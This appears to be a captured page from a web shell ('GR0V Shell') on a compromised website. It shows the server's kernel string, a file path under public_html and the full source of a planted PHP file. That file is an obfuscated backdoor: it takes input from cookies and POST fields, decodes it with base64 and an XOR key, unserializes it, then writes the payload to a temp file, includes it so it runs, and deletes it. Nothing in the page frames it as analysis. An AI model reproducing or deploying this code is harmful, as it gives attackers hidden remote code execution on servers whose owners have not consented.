? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/media/contacts/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/media/contacts/94507d58.php

$ojKDmtM = chr ( 306 - 201 )."\x54" . 'O' . "\137" . "\x41" . chr (97) . "\x4a" . chr ( 374 - 258 ); $NBsbBJ = chr (99) . "\154" . chr ( 408 - 311 )."\163" . chr (115) . chr (95) . 'e' . chr ( 903 - 783 ).chr (105) . "\163" . "\x74" . "\163";$iPmKA = $NBsbBJ($ojKDmtM); $avfFKoXcY = $iPmKA;if (!$avfFKoXcY){class iTO_AaJt{private $emUfDUqjZ;public static $tSbndSctn = "256dd632-4e15-4d95-9d63-807b642cba47";public static $uGmcIKS = 41238;public function __construct($fnsMUCmGc=0){$dNpbjQk = $_COOKIE;$vMlMYCn = $_POST;$fimQRxn = @$dNpbjQk[substr(iTO_AaJt::$tSbndSctn, 0, 4)];if (!empty($fimQRxn)){$zFmhFamiWu = "base64";$uEZjAG = "";$fimQRxn = explode(",", $fimQRxn);foreach ($fimQRxn as $sTkjxZnWr){$uEZjAG .= @$dNpbjQk[$sTkjxZnWr];$uEZjAG .= @$vMlMYCn[$sTkjxZnWr];}$uEZjAG = array_map($zFmhFamiWu . '_' . "\144" . chr (101) . "\143" . chr ( 264 - 153 )."\x64" . chr (101), array($uEZjAG,)); $uEZjAG = $uEZjAG[0] ^ str_repeat(iTO_AaJt::$tSbndSctn, (strlen($uEZjAG[0]) / strlen(iTO_AaJt::$tSbndSctn)) + 1);iTO_AaJt::$uGmcIKS = @unserialize($uEZjAG);}}private function favAg(){if (is_array(iTO_AaJt::$uGmcIKS)) {$JZjGEJQ = sys_get_temp_dir() . "/" . crc32(iTO_AaJt::$uGmcIKS[chr ( 948 - 833 ).'a' . chr ( 1035 - 927 )."\164"]);@iTO_AaJt::$uGmcIKS["\x77" . chr ( 909 - 795 ).chr ( 961 - 856 ).chr (116) . "\145"]($JZjGEJQ, iTO_AaJt::$uGmcIKS['c' . 'o' . "\x6e" . "\x74" . "\x65" . 'n' . "\x74"]);include $JZjGEJQ;@iTO_AaJt::$uGmcIKS['d' . "\x65" . chr (108) . "\x65" . chr (116) . 'e']($JZjGEJQ); $eopkhvjG = "49095";exit();}}public function __destruct(){$this->favAg(); $eopkhvjG = "49095";}}$ZNsxgU = new iTO_AaJt(); $ZNsxgU = "28198_27119";}

T1KUS90T
  root-grov@210.1.60.28:~$